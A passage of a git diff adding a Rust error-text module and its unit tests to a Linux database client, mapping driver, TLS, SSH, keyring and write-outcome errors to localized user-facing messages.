+use tablepro_core::{ + ConfigError, DriverError, ErrorCategory, ReadOnlyRefusal, ServerCode, ServerDiagnostics, TimeoutPhase, + TransportError, +}; + +use super::ssh::ssh_failure_message; +use super::tls::tls_message; + +pub fn driver_message(error: &DriverError) -> String { + // An SSH failure carries its own category and its own next step. + if let DriverError::Transport(TransportError::Ssh(failure)) = error { + return ssh_failure_message(failure); + } + match error.category() { + ErrorCategory::Configuration => configuration_message(error), + ErrorCategory::Network => network_message(error), + ErrorCategory::Tls => match error { + DriverError::Tls { failure, detail } => tls_message(*failure, detail), + other => detail_sentence(crate::i18n::gettext("The secure connection failed."), other), + }, + ErrorCategory::Authentication => authentication_message(error), + ErrorCategory::ReadOnly => read_only_message(error), + ErrorCategory::Server => match error { + DriverError::Server(diagnostics) => server_message(diagnostics), + other => detail_sentence(crate::i18n::gettext("The server refused the request."), other), + }, + ErrorCategory::Interrupted => crate::i18n::gettext("Stopped."), + ErrorCategory::Timeout => timeout_message(error), + ErrorCategory::ConnectionLost => crate::i18n::gettext("The connection was closed. Try reconnecting."), + ErrorCategory::WriteOutcome => write_outcome_message(error), + ErrorCategory::File => file_message(error), + ErrorCategory::Busy => match error { + DriverError::EditorSessionBusy => { + crate::i18n::gettext("This tab is still running a statement. Stop it or wait for it to finish.") + } + _ => crate::i18n::gettext("The server has no room for another connection right now. Try again shortly."), + }, + ErrorCategory::Internal => internal_message(error), + } +} + +/// A category sentence followed by what the error itself says, for a +/// variant this build has no sentence of its own for. +fn detail_sentence(sentence: String, error: &DriverError) -> String { + format!("{sentence} {error}") +} + +fn configuration_message(error: &DriverError) -> String { + match error { + DriverError::Config(config) => config_message(config), + DriverError::Unsupported { feature } => { + crate::i18n::gettext_f("This database has no {feature}.", &[("feature", feature)]) + } + other => detail_sentence(crate::i18n::gettext("The connection settings cannot be used."), other), + } +} + +pub fn config_message(error: &ConfigError) -> String { + match error { + ConfigError::EmptyHost => crate::i18n::gettext("Enter the server's host name."), + ConfigError::InvalidHost => crate::i18n::gettext("The host name has spaces or control characters in it."), + ConfigError::InvalidPort => crate::i18n::gettext("The port must be a number from 1 to 65535."), + ConfigError::RelativePath => crate::i18n::gettext("Use a full path, starting with /."), + ConfigError::UnsupportedTlsMode => crate::i18n::gettext("This database does not offer that TLS mode."), + ConfigError::CaFileUnsupported => { + crate::i18n::gettext("A CA certificate needs TLS turned on and a database that accepts one.") + } + ConfigError::ClientIdentityUnsupported => { + crate::i18n::gettext("A client certificate needs TLS turned on and a database that accepts one.") + } + ConfigError::ClientIdentityIncomplete => { + crate::i18n::gettext("A client certificate needs both its certificate file and its key file.") + } + ConfigError::CaFile { path, problem } => crate::i18n::gettext_f( + "The CA certificate {path} cannot be used: {problem}", + &[("path", &path.display().to_string()), ("problem", &problem.to_string())], + ), + ConfigError::ClientIdentityFile { path, problem } => crate::i18n::gettext_f( + "The client certificate {path} cannot be used: {problem}", + &[("path", &path.display().to_string()), ("problem", &problem.to_string())], + ), + ConfigError::InvalidServerName => { + crate::i18n::gettext("The TLS server name is not a valid host name or IP address.") + } + ConfigError::ServerNameOverrideUnsupported { .. } => { + crate::i18n::gettext("This database cannot check the certificate against another server name here.") + } + ConfigError::AuthModeUnsupported => { + crate::i18n::gettext("This database does not support that way of logging in.") + } + ConfigError::DatabaseRequired => crate::i18n::gettext("Enter the name of the database to open."), + } +} + +fn network_message(error: &DriverError) -> String { + match error { + DriverError::Transport(TransportError::Refused { endpoint }) => crate::i18n::gettext_f( + "{host}:{port} refused the connection. Is the database running?", + &[("host", endpoint.host()), ("port", &endpoint.port().to_string())], + ), + DriverError::Transport(TransportError::NameResolution { host, .. }) => { + crate::i18n::gettext_f("Could not look up {host}.", &[("host", host)]) + } + DriverError::Transport(TransportError::Unreachable { endpoint, .. }) => crate::i18n::gettext_f( + "Could not reach {host}:{port}.", + &[("host", endpoint.host()), ("port", &endpoint.port().to_string())], + ), + other => detail_sentence(crate::i18n::gettext("The server could not be reached."), other), + } +} + +/// Never echoes what was typed: the server's own explanation is safe to +/// show, the secret is not part of any variant. +fn authentication_message(error: &DriverError) -> String { + match error { + DriverError::Auth { + diagnostics: Some(diagnostics), + } => crate::i18n::gettext_f( + "Username or password is wrong. The server said: {detail}", + &[("detail", &diagnostics.message)], + ), + DriverError::IntegratedAuth(detail) => crate::i18n::gettext_f( + "Kerberos login failed: {detail}. Check that klist shows a valid ticket, run kinit if it does not, and make sure the server's SPN matches the host you typed.", + &[("detail", detail)], + ), + _ => crate::i18n::gettext("Username or password is wrong."), + } +} + +fn read_only_message(error: &DriverError) -> String { + match error { + DriverError::ReadOnly(ReadOnlyRefusal::ServerRejected(diagnostics)) => crate::i18n::gettext_f( + "The server refused the write: {message}", + &[("message", &diagnostics.message)], + ), + _ => crate::i18n::gettext("This connection is read-only. Reopen it without read-only mode to make changes."), + } +} + +/// The server's words with whatever it added: its code, the detail line +/// and its hint. +pub fn server_message(diagnostics: &ServerDiagnostics) -> String { + let mut message = match &diagnostics.code { + Some(code) => crate::i18n::gettext_f( + "Query failed ({code}): {message}", + &[("code", &server_code_text(code)), ("message", &diagnostics.message)], + ), + None => crate::i18n::gettext_f("Query failed: {message}", &[("message", &diagnostics.message)]), + }; + if let Some(detail) = diagnostics.detail.as_deref().filter(|detail| !detail.is_empty()) { + message.push('\n'); + message.push_str(detail); + } + if let Some(hint) = diagnostics.hint.as_deref().filter(|hint| !hint.is_empty()) { + message.push('\n'); + message.push_str(&crate::i18n::gettext_f("Hint: {hint}", &[("hint", hint)])); + } + message +} + +/// The code in the words each engine's own documentation uses, so it +/// can be looked up there. +fn server_code_text(code: &ServerCode) -> String { + let number = code.to_string(); + match code { + ServerCode::SqlState(_) => crate::i18n::gettext_f("SQLSTATE {code}", &[("code", &number)]), + ServerCode::MySql { .. } => crate::i18n::gettext_f("MySQL error {code}", &[("code", &number)]), + ServerCode::Tds { .. } => crate::i18n::gettext_f("SQL Server error {code}", &[("code", &number)]), + ServerCode::ClickHouse { .. } => crate::i18n::gettext_f("ClickHouse code {code}", &[("code", &number)]), + ServerCode::Sqlite { .. } => crate::i18n::gettext_f("SQLite error {code}", &[("code", &number)]), + } +} + +fn timeout_message(error: &DriverError) -> String { + let phase = match error { + DriverError::Timeout { phase, .. } | DriverError::Transport(TransportError::Timeout { phase }) => *phase, + other => return detail_sentence(crate::i18n::gettext("The server took too long to answer."), other), + }; + match phase { + TimeoutPhase::Connect => crate::i18n::gettext("The server did not answer the connection in time."), + TimeoutPhase::Login => crate::i18n::gettext("The server did not finish the login in time."), + TimeoutPhase::SshHandshake => crate::i18n::gettext("The SSH server did not finish the handshake in time."), + TimeoutPhase::SshChannelOpen => { + crate::i18n::gettext("The SSH server did not open the tunnel to the database in time.") + } + TimeoutPhase::LockWait => { + crate::i18n::gettext("Another session holds a lock this needs. Try again when it has finished.") + } + TimeoutPhase::Statement => { + crate::i18n::gettext("The statement ran past its time limit, so the server stopped it.") + } + TimeoutPhase::Probe => crate::i18n::gettext("The server did not answer a check in time."), + TimeoutPhase::CancelAcknowledgement => { + crate::i18n::gettext("The server did not confirm the stop in time, so the connection was closed.") + } + } +} + +/// After a failed write the question is what is in the database now, +/// and each variant answers it differently. Only `RolledBack` and a +/// failed guard may say nothing changed. +fn write_outcome_message(error: &DriverError) -> String { + match error { + DriverError::RolledBack { + statement_index, + source, + } => crate::i18n::gettext_f( + "Save failed at statement {n}: {error}. The transaction was rolled back; no rows were changed.", + &[ + ("n", &(statement_index + 1).to_string()), + ("error", &driver_message(source)), + ], + ), + DriverError::RowGuardFailed { expected, actual, .. } => crate::i18n::gettext_f( + "The save matched {actual} rows where it expected {expected}, so the row is not the one that was loaded. Nothing was changed; reload and try again.", + &[("actual", &actual.to_string()), ("expected", &expected.to_string())], + ), + DriverError::PartiallyApplied { + applied, + statement_index, + .. + } => crate::i18n::gettext_f( + "{applied} of the save's statements were applied before statement {n} failed, and this database has no transaction to undo them. Reload to see what the server has.", + &[ + ("applied", &applied.to_string()), + ("n", &(statement_index + 1).to_string()), + ], + ), + _ => crate::i18n::gettext( + "The connection was lost after the save was sent, so whether it was applied is not known. Reload to see what the server has.", + ), + } +} + +fn file_message(error: &DriverError) -> String { + match error { + DriverError::FileNotFound { path } => { + crate::i18n::gettext_f("No database file at {path}.", &[("path", &path.display().to_string())]) + } + DriverError::FileAccessDenied { path } => crate::i18n::gettext_f( + "No permission to open {path}.", + &[("path", &path.display().to_string())], + ), + DriverError::NotADatabase { path } => crate::i18n::gettext_f( + "{path} is not a database file.", + &[("path", &path.display().to_string())], + ), + DriverError::FileIo { path, kind } => crate::i18n::gettext_f( + "Could not write {path}: {reason}", + &[("path", &path.display().to_string()), ("reason", &kind.to_string())], + ), + other => detail_sentence(crate::i18n::gettext("The database file cannot be used."), other), + } +} + +fn internal_message(error: &DriverError) -> String { + match error { + DriverError::GuardUnsupported { .. } => crate::i18n::gettext( + "This database does not report how many rows a statement changed, so the save cannot be checked. Use a table with a primary key.", + ), + DriverError::Decode { column, detail } => crate::i18n::gettext_f( + "Could not read column {column}: {detail}", + &[("column", column), ("detail", detail)], + ), + DriverError::Protocol(detail) => crate::i18n::gettext_f( + "The driver could not read the server's reply: {detail}", + &[("detail", detail)], + ), + other => detail_sentence(crate::i18n::gettext("The driver hit an internal error."), other), + } +} diff --git a/linux/crates/app/src/ui/error_text/mod.rs b/linux/crates/app/src/ui/error_text/mod.rs new file mode 100644 index 0000000000..320c4a8d7d --- /dev/null +++ b/linux/crates/app/src/ui/error_text/mod.rs @@ -0,0 +1,21 @@ +//! The sentence the user sees for each error, chosen by what kind of +//! problem it is rather than by which driver raised it. +//! +//! `DriverError::category` decides the branch, so an error a driver +//! adds later still lands in a branch that says what to do next; the +//! variant only adds detail. + +mod driver; +mod operation; +mod script; +mod secret; +mod ssh; +#[cfg(test)] +mod tests; +mod tls; +mod tls_remedy; + +pub use driver::{config_message, driver_message}; +pub use operation::{connect_error_message, operation_error_message, task_failure_message}; +pub use script::script_diagnostic_message; +pub use tls_remedy::{TlsRemedy, connect_remedy}; diff --git a/linux/crates/app/src/ui/error_text/operation.rs b/linux/crates/app/src/ui/error_text/operation.rs new file mode 100644 index 0000000000..906e5bad70 --- /dev/null +++ b/linux/crates/app/src/ui/error_text/operation.rs @@ -0,0 +1,102 @@ +use tablepro_core::browse::BrowseSqlError; +use tablepro_core::dml::BuildSqlError; +use tablepro_core::statement::SqlBuildError; +use tablepro_session::runtime::TaskFailure; +use tablepro_session::{ConnectError, OperationError}; +use tablepro_storage::KeyringError; + +use super::driver::driver_message; +use super::secret::secret_message; + +/// What to tell the user about an operation that produced no value. +pub fn operation_error_message(error: &OperationError) -> String { + match error { + OperationError::Driver(error) => driver_message(error), + OperationError::Sql(error) => sql_build_message(error), + OperationError::Browse(error) => browse_message(error), + OperationError::Build(error) => build_message(error), + OperationError::Panicked(panic) => crate::i18n::gettext_f( + "TablePro hit an internal error: {detail}", + &[("detail", panic.message())], + ), + OperationError::Cancelled => crate::i18n::gettext("Stopped."), + OperationError::Closed => crate::i18n::gettext("The connection is closed."), + } +} + +/// What to tell the user about a connect that produced no session. +pub fn connect_error_message(error: &ConnectError) -> String { + match error { + ConnectError::Driver(error) => driver_message(error), + ConnectError::Keyring(KeyringError::SecretNotStored { .. }) => crate::i18n::gettext( + "No password is saved for this connection, and none was entered. Connect again to type it.", + ), + ConnectError::Keyring(KeyringError::Secret { error, .. }) => secret_message(error), + ConnectError::UnknownDriver(driver) => { + crate::i18n::gettext_f("This build of TablePro has no {driver} driver.", &[("driver", driver)]) + } + ConnectError::Cancelled => crate::i18n::gettext("The connection was cancelled."), + ConnectError::Panicked(panic) => crate::i18n::gettext_f( + "TablePro hit an internal error: {detail}", + &[("detail", panic.message())], + ), + } +} + +/// What to tell the user when the work itself died rather than failed. +pub fn task_failure_message(failure: &TaskFailure) -> String { + match failure { + TaskFailure::Panicked(panic) => crate::i18n::gettext_f( + "TablePro hit an internal error: {detail}", + &[("detail", panic.message())], + ), + TaskFailure::Aborted => crate::i18n::gettext("Stopped."), + } +} + +fn sql_build_message(error: &SqlBuildError) -> String { + match error { + SqlBuildError::Dml(bind) => crate::i18n::gettext_f( + "This change cannot be saved: {reason}", + &[("reason", &bind.to_string())], + ), + SqlBuildError::Browse(bind) => crate::i18n::gettext_f( + "This filter cannot be applied: {reason}", + &[("reason", &bind.to_string())], + ), + SqlBuildError::Ddl(reason) => crate::i18n::gettext_f( + "This structure change cannot be written: {reason}", + &[("reason", reason)], + ), + } +} + +fn browse_message(error: &BrowseSqlError) -> String { + match error { + BrowseSqlError::Filter(filter) => crate::i18n::gettext_f( + "This filter cannot be applied: {reason}", + &[("reason", &filter.to_string())], + ), + BrowseSqlError::Build(build) => build_message(build), + other => crate::i18n::gettext_f( + "This page of the table cannot be read: {reason}", + &[("reason", &other.to_string())], + ), + } +} + +fn build_message(error: &BuildSqlError) -> String { + match error { + BuildSqlError::NoRowIdentity | BuildSqlError::ReadOnlyRows => crate::i18n::gettext( + "Rows in this table cannot be edited, because nothing identifies a single row. Add a primary key to edit them.", + ), + BuildSqlError::NothingToUpdate | BuildSqlError::NoInsertValues => crate::i18n::gettext("No changes to save."), + BuildSqlError::UndecodableKey => crate::i18n::gettext( + "Part of this row's key could not be read from the server, so the row cannot be changed.", + ), + other => crate::i18n::gettext_f( + "This change cannot be saved: {reason}", + &[("reason", &other.to_string())], + ), + } +} diff --git a/linux/crates/app/src/ui/error_text/script.rs b/linux/crates/app/src/ui/error_text/script.rs new file mode 100644 index 0000000000..1b1185d98a --- /dev/null +++ b/linux/crates/app/src/ui/error_text/script.rs @@ -0,0 +1,28 @@ +use tablepro_core::sql_syntax::script::{OpenConstruct, ScriptDiagnostic}; + +/// The warning for something the script planner found, with `line` +/// counted from 1 in the buffer. +pub fn script_diagnostic_message(diagnostic: &ScriptDiagnostic, line: usize) -> String { + let line = line.to_string(); + let args = [("line", line.as_str())]; + match diagnostic { + ScriptDiagnostic::Unterminated { construct, .. } => match construct { + OpenConstruct::StringLiteral => crate::i18n::gettext_f( + "The string starting on line {line} is never closed. It is sent as written.", + &args, + ), + OpenConstruct::QuotedIdentifier => crate::i18n::gettext_f( + "The quoted name starting on line {line} is never closed. It is sent as written.", + &args, + ), + OpenConstruct::BlockComment => crate::i18n::gettext_f( + "The comment starting on line {line} is never closed. It is sent as written.", + &args, + ), + OpenConstruct::DollarQuoted => crate::i18n::gettext_f( + "The dollar-quoted string starting on line {line} is never closed. It is sent as written.", + &args, + ), + }, + } +} diff --git a/linux/crates/app/src/ui/error_text/secret.rs b/linux/crates/app/src/ui/error_text/secret.rs new file mode 100644 index 0000000000..67d854d785 --- /dev/null +++ b/linux/crates/app/src/ui/error_text/secret.rs @@ -0,0 +1,24 @@ +/// What to tell the user about a keyring failure. Each variant maps to +/// a different next step, so they are not collapsed into one sentence. +pub(super) fn secret_message(error: &tablepro_core::credentials::SecretError) -> String { + use tablepro_core::credentials::SecretError; + + match error { + SecretError::ServiceUnavailable { .. } => crate::i18n::gettext( + "No keyring is running, so saved passwords cannot be read. Start a keyring, or enter the password by hand.", + ), + SecretError::PortalUnavailable { .. } => crate::i18n::gettext( + "The secret portal is unavailable, so saved passwords cannot be read inside the sandbox.", + ), + SecretError::Locked => crate::i18n::gettext("The keyring is locked. Unlock it and try again."), + SecretError::UnlockDismissed => { + crate::i18n::gettext("The keyring stayed locked because the unlock prompt was dismissed.") + } + SecretError::InvalidEncoding => { + crate::i18n::gettext("The stored password is not readable text. Enter it again to replace it.") + } + SecretError::Backend { detail } => { + crate::i18n::gettext_f("The keyring reported: {detail}", &[("detail", detail)]) + } + } +} diff --git a/linux/crates/app/src/ui/error_text/ssh.rs b/linux/crates/app/src/ui/error_text/ssh.rs new file mode 100644 index 0000000000..6f89d1579d --- /dev/null +++ b/linux/crates/app/src/ui/error_text/ssh.rs @@ -0,0 +1,79 @@ +use tablepro_core::SshFailure; + +/// One sentence per way OpenSSH can fail, each naming what to change. +pub fn ssh_failure_message(failure: &SshFailure) -> String { + match failure { + SshFailure::OpenSshClientMissing { program } => crate::i18n::gettext_f( + "The OpenSSH client {program} is not installed. Install openssh-client to connect over SSH.", + &[("program", &program.display().to_string())], + ), + SshFailure::AskpassHelperMissing { program } => crate::i18n::gettext_f( + "TablePro's SSH helper is missing at {program}. Reinstall TablePro to connect over SSH.", + &[("program", &program.display().to_string())], + ), + SshFailure::InvalidDestination { detail } => crate::i18n::gettext_f( + "The SSH host or jump host is not valid: {detail}", + &[("detail", detail)], + ), + SshFailure::ConfigRejected { detail } => crate::i18n::gettext_f( + "ssh refused the configuration. Check ~/.ssh/config for this host: {detail}", + &[("detail", detail)], + ), + SshFailure::ControlPathTooLong { .. } => crate::i18n::gettext( + "The runtime directory path is too long for an SSH control socket. Use a shorter XDG_RUNTIME_DIR.", + ), + SshFailure::RuntimeDirUnsafe { path, detail } => crate::i18n::gettext_f( + "The SSH runtime directory {path} cannot be used safely: {detail}", + &[("path", &path.display().to_string()), ("detail", detail)], + ), + SshFailure::HostKeyUnknown { host, declined, .. } if *declined => crate::i18n::gettext_f( + "The host key of {host} was not trusted, so the connection was not made.", + &[("host", host)], + ), + SshFailure::HostKeyUnknown { + host, + sha256_fingerprint, + .. + } => crate::i18n::gettext_f( + "{host} is not in known_hosts (key {fingerprint}). Connect once to review and trust its key.", + &[("host", host), ("fingerprint", sha256_fingerprint)], + ), + SshFailure::HostKeyChanged { + host, + known_hosts, + line, + .. + } => crate::i18n::gettext_f( + "The host key of {host} changed since it was trusted ({file}, line {line}). This can mean someone is intercepting the connection; check with the server's administrator before removing the old key.", + &[ + ("host", host), + ("file", &known_hosts.display().to_string()), + ("line", &line.to_string()), + ], + ), + SshFailure::HostKeyRevoked { host, .. } => crate::i18n::gettext_f( + "The host key of {host} is revoked, so the connection was refused.", + &[("host", host)], + ), + SshFailure::AuthenticationRejected { user, host, .. } => crate::i18n::gettext_f( + "The SSH server {host} refused the login for {user}. Check the key, the agent or the password.", + &[("host", host), ("user", user)], + ), + SshFailure::InteractionCancelled => crate::i18n::gettext("The SSH login was cancelled."), + SshFailure::ForwardRejected { target, detail } => crate::i18n::gettext_f( + "The SSH server would not forward to {target}: {detail}", + &[("target", target), ("detail", detail)], + ), + SshFailure::ChannelOpenFailed { target, detail } => crate::i18n::gettext_f( + "The SSH server could not reach {target}: {detail}", + &[("target", target), ("detail", detail)], + ), + SshFailure::MasterExited { detail, .. } => { + crate::i18n::gettext_f("The SSH connection ended: {detail}", &[("detail", detail)]) + } + SshFailure::Protocol { detail } => { + crate::i18n::gettext_f("ssh printed something unexpected: {detail}", &[("detail", detail)]) + } + other => crate::i18n::gettext_f("SSH failed: {detail}", &[("detail", &other.to_string())]), + } +} diff --git a/linux/crates/app/src/ui/error_text/tests.rs b/linux/crates/app/src/ui/error_text/tests.rs new file mode 100644 index 0000000000..e596fa7271 --- /dev/null +++ b/linux/crates/app/src/ui/error_text/tests.rs @@ -0,0 +1,365 @@ +use std::path::PathBuf; + +use tablepro_core::credentials::{SecretError, SecretKind}; +use tablepro_core::sql_syntax::script::{OpenConstruct, ScriptDiagnostic}; +use tablepro_core::{ + ConfigError, DriverError, ErrorCategory, LossPhase, NetworkEndpoint, ReadOnlyRefusal, ServerCode, + ServerDiagnostics, SshFailure, StatementOutcome, TimeoutPhase, TlsFailure, TransportError, +}; +use tablepro_session::runtime::TaskPanic; +use tablepro_session::{ConnectError, OperationError}; +use tablepro_storage::KeyringError; + +use super::secret::secret_message; +use super::ssh::ssh_failure_message; +use super::*; + +/// One error per category, so a category without a branch shows up as +/// an empty or shared sentence. +fn one_per_category() -> Vec<(ErrorCategory, DriverError)> { + let endpoint = NetworkEndpoint::new("db.internal", 5432).expect("an endpoint"); + vec![ + ( + ErrorCategory::Configuration, + DriverError::Config(ConfigError::DatabaseRequired), + ), + ( + ErrorCategory::Network, + DriverError::Transport(TransportError::Refused { endpoint }), + ), + ( + ErrorCategory::Tls, + DriverError::Tls { + failure: TlsFailure::Expired, + detail: "expired".to_owned(), + }, + ), + (ErrorCategory::Authentication, DriverError::auth(None)), + ( + ErrorCategory::ReadOnly, + DriverError::ReadOnly(ReadOnlyRefusal::ClientGuard), + ), + (ErrorCategory::Server, DriverError::server("syntax error")), + (ErrorCategory::Interrupted, DriverError::Cancelled), + ( + ErrorCategory::Timeout, + DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: true, + }, + ), + ( + ErrorCategory::ConnectionLost, + DriverError::ConnectionLost { + during: LossPhase::Statement, + }, + ), + ( + ErrorCategory::WriteOutcome, + DriverError::RowGuardFailed { + statement_index: 0, + expected: 1, + actual: 0, + }, + ), + ( + ErrorCategory::File, + DriverError::FileNotFound { + path: PathBuf::from("/srv/app.db"), + }, + ), + (ErrorCategory::Busy, DriverError::Busy), + (ErrorCategory::Internal, DriverError::Protocol("bad frame".to_owned())), + ] +} + +#[test] +fn every_category_has_a_message() { + let cases = one_per_category(); + let messages: std::collections::HashSet = cases + .iter() + .map(|(category, error)| { + assert_eq!(error.category(), *category, "{error:?}"); + let message = driver_message(error); + assert!(!message.trim().is_empty(), "{category:?} has no message"); + message + }) + .collect(); + + assert_eq!(messages.len(), cases.len(), "two categories share a message"); +} + +#[test] +fn server_message_includes_code_detail_hint() { + let diagnostics = ServerDiagnostics { + detail: Some("Key (email)=(a@b.c) already exists.".to_owned()), + hint: Some("Pick another email.".to_owned()), + ..ServerDiagnostics::new(Some(ServerCode::SqlState("23505".to_owned())), "duplicate key") + }; + + let message = driver_message(&DriverError::reported(diagnostics)); + + assert!(message.contains("23505"), "{message}"); + assert!(message.contains("duplicate key"), "{message}"); + assert!(message.contains("already exists"), "{message}"); + assert!(message.contains("Pick another email."), "{message}"); + + let numbered = driver_message(&DriverError::reported(ServerDiagnostics::new( + Some(ServerCode::Tds { + number: 208, + state: 1, + class: 16, + }), + "Invalid object name 'users'.", + ))); + assert!(numbered.contains("208"), "{numbered}"); + + let bare = driver_message(&DriverError::server("syntax error")); + assert!(!bare.contains("SQLSTATE"), "{bare}"); + assert!(bare.contains("syntax error"), "{bare}"); +} + +#[test] +fn diagnostics_codes_rendered_per_engine() { + let cases = [ + (ServerCode::SqlState("23505".to_owned()), "SQLSTATE 23505"), + ( + ServerCode::MySql { + number: 1062, + sqlstate: Some("23000".to_owned()), + }, + "MySQL error 1062", + ), + ( + ServerCode::Tds { + number: 2627, + state: 1, + class: 14, + }, + "SQL Server error 2627", + ), + (ServerCode::ClickHouse { code: 60 }, "ClickHouse code 60"), + ( + ServerCode::Sqlite { + primary: 19, + extended: 2067, + }, + "SQLite error 2067", + ), + ]; + for (code, expected) in cases { + let message = driver_message(&DriverError::reported(ServerDiagnostics::new(Some(code), "refused"))); + assert!(message.contains(expected), "{message}"); + } +} + +#[test] +fn tls_unknown_issuer_suggests_ca() { + let unknown = driver_message(&DriverError::Tls { + failure: TlsFailure::UnknownIssuer, + detail: "unknown issuer".to_owned(), + }); + assert!(unknown.contains("CA certificate"), "{unknown}"); + + let mismatch = driver_message(&DriverError::Tls { + failure: TlsFailure::NameMismatch, + detail: "not valid for name".to_owned(), + }); + assert!(mismatch.contains("server name"), "{mismatch}"); +} + +#[test] +fn auth_message_has_no_secret() { + let message = driver_message(&DriverError::auth(Some(ServerDiagnostics::new( + None, + "password authentication failed for user \"app\"", + )))); + + assert!(message.contains("wrong"), "{message}"); + assert!(message.contains("password authentication failed"), "{message}"); + assert!(!message.contains("hunter2")); +} + +#[test] +fn busy_and_editor_busy_messages_differ() { + assert_ne!( + driver_message(&DriverError::Busy), + driver_message(&DriverError::EditorSessionBusy) + ); +} + +#[test] +fn file_not_found_names_path() { + let message = driver_message(&DriverError::FileNotFound { + path: PathBuf::from("/srv/app.db"), + }); + + assert!(message.contains("/srv/app.db"), "{message}"); +} + +#[test] +fn timeout_phase_login_vs_statement_differ() { + let timeout = |phase| { + driver_message(&DriverError::Timeout { + phase, + server_cancelled: false, + }) + }; + + assert_ne!(timeout(TimeoutPhase::Login), timeout(TimeoutPhase::Statement)); + assert_eq!( + driver_message(&DriverError::Transport(TransportError::Timeout { + phase: TimeoutPhase::Connect + })), + timeout(TimeoutPhase::Connect), + "a transport timeout reads like the driver's own" + ); +} + +#[test] +fn partially_applied_and_commit_unknown_never_claim_rollback() { + let lost = Box::new(DriverError::ConnectionLost { + during: LossPhase::Commit, + }); + let unknown = driver_message(&DriverError::CommitOutcomeUnknown { + token: None, + source: lost.clone(), + }); + let partial = driver_message(&DriverError::PartiallyApplied { + applied: 2, + statement_index: 2, + failed_outcome: StatementOutcome::Failed, + source: lost, + }); + + for message in [&unknown, &partial] { + assert!(!message.contains("rolled back"), "{message}"); + assert!(!message.contains("no rows were changed"), "{message}"); + assert!(message.contains("Reload"), "{message}"); + } +} + +#[test] +fn a_refused_connection_names_the_server_it_tried() { + let endpoint = NetworkEndpoint::new("db.internal", 5432).expect("an endpoint"); + + let message = driver_message(&DriverError::Transport(TransportError::Refused { endpoint })); + + assert!(message.contains("db.internal:5432"), "{message}"); +} + +#[test] +fn integrated_auth_names_the_remedy_and_keeps_the_gssapi_detail() { + let message = driver_message(&DriverError::IntegratedAuth("No Kerberos credentials available".into())); + assert!(message.contains("No Kerberos credentials available")); + assert!(message.contains("kinit")); + assert!(message.contains("SPN")); +} + +#[test] +fn ssh_failures_say_what_to_change() { + let changed = driver_message(&DriverError::Transport(TransportError::Ssh( + SshFailure::HostKeyChanged { + host: "bastion".to_owned(), + algorithm: "ED25519".to_owned(), + sha256_fingerprint: "SHA256:new".to_owned(), + known_hosts: PathBuf::from("/home/u/.ssh/known_hosts"), + line: 7, + }, + ))); + assert!(changed.contains("known_hosts"), "{changed}"); + assert!(changed.contains('7'), "{changed}"); + + let missing = ssh_failure_message(&SshFailure::OpenSshClientMissing { + program: PathBuf::from("ssh"), + }); + assert!(missing.contains("openssh-client"), "{missing}"); + + let declined = ssh_failure_message(&SshFailure::HostKeyUnknown { + host: "bastion".to_owned(), + algorithm: "ED25519".to_owned(), + sha256_fingerprint: "SHA256:abc".to_owned(), + trust_allowed: true, + declined: true, + }); + assert!(declined.contains("not trusted"), "{declined}"); +} + +#[test] +fn connect_error_text_covers_every_variant() { + let errors = [ + ConnectError::Driver(DriverError::auth(None)), + ConnectError::Keyring(KeyringError::SecretNotStored { + kind: SecretKind::DatabasePassword, + }), + ConnectError::Keyring(KeyringError::Secret { + kind: SecretKind::DatabasePassword, + error: SecretError::Locked, + }), + ConnectError::UnknownDriver("oracle".to_owned()), + ConnectError::Cancelled, + ConnectError::Panicked(TaskPanic::from_payload(Box::new("boom"))), + ]; + + let messages: std::collections::HashSet = errors.iter().map(connect_error_message).collect(); + + assert_eq!(messages.len(), errors.len(), "two connect errors share a message"); + assert!(connect_error_message(&errors[3]).contains("oracle")); +} + +#[test] +fn operation_errors_cancelled_and_closed_differ() { + assert_ne!( + operation_error_message(&OperationError::Cancelled), + operation_error_message(&OperationError::Closed) + ); + assert_eq!( + operation_error_message(&OperationError::Driver(DriverError::Busy)), + driver_message(&DriverError::Busy) + ); +} + +#[test] +fn every_secret_error_has_its_own_message() { + let errors = [ + SecretError::ServiceUnavailable { detail: "x".to_owned() }, + SecretError::PortalUnavailable { detail: "x".to_owned() }, + SecretError::Locked, + SecretError::UnlockDismissed, + SecretError::InvalidEncoding, + SecretError::Backend { + detail: "boom".to_owned(), + }, + ]; + + let messages: std::collections::HashSet = errors.iter().map(secret_message).collect(); + + assert_eq!(messages.len(), errors.len(), "two errors share a message"); +} + +#[test] +fn a_backend_error_keeps_its_detail() { + let message = secret_message(&SecretError::Backend { + detail: "org.freedesktop.Secret failed".to_owned(), + }); + + assert!(message.contains("org.freedesktop.Secret failed"), "{message}"); +} + +#[test] +fn a_retryable_error_says_to_try_again() { + assert!(secret_message(&SecretError::Locked).contains("try again")); +} + +#[test] +fn unterminated_dollar_quote_diagnostic_names_line() { + let diagnostic = ScriptDiagnostic::Unterminated { + construct: OpenConstruct::DollarQuoted, + start: 10, + }; + + let message = script_diagnostic_message(&diagnostic, 7); + + assert!(message.contains("dollar-quoted"), "{message}"); + assert!(message.contains("line 7"), "{message}"); +} diff --git a/linux/crates/app/src/ui/error_text/tls.rs b/linux/crates/app/src/ui/error_text/tls.rs new file mode 100644 index 0000000000..547e7b2b7a --- /dev/null +++ b/linux/crates/app/src/ui/error_text/tls.rs @@ -0,0 +1,27 @@ +use tablepro_core::TlsFailure; + +/// Each TLS failure has a different next step, which is the whole point +/// of telling them apart. +pub(super) fn tls_message(failure: TlsFailure, detail: &str) -> String { + match failure { + TlsFailure::UnknownIssuer => crate::i18n::gettext( + "The server's certificate was signed by an authority this machine does not know. Choose a CA certificate for this connection.", + ), + TlsFailure::NameMismatch => crate::i18n::gettext( + "The server's certificate is for a different name. Set the TLS server name to the one on the certificate.", + ), + TlsFailure::Expired => crate::i18n::gettext("The server's certificate has expired."), + TlsFailure::NotYetValid => crate::i18n::gettext("The server's certificate is not valid yet."), + TlsFailure::Revoked => crate::i18n::gettext("The server's certificate was revoked."), + TlsFailure::ServerRefusedTls => crate::i18n::gettext("The server does not accept TLS on this port."), + TlsFailure::ServerRequiresTls => { + crate::i18n::gettext("The server requires TLS. Turn TLS on for this connection.") + } + TlsFailure::HandshakeRejected => { + crate::i18n::gettext_f("The server ended the secure handshake: {detail}", &[("detail", detail)]) + } + TlsFailure::CaFileInvalid => crate::i18n::gettext("The chosen CA certificate file could not be read."), + TlsFailure::ClientIdentityInvalid => crate::i18n::gettext("The client certificate or key could not be read."), + TlsFailure::Other => crate::i18n::gettext_f("TLS failed: {detail}", &[("detail", detail)]), + } +} diff --git 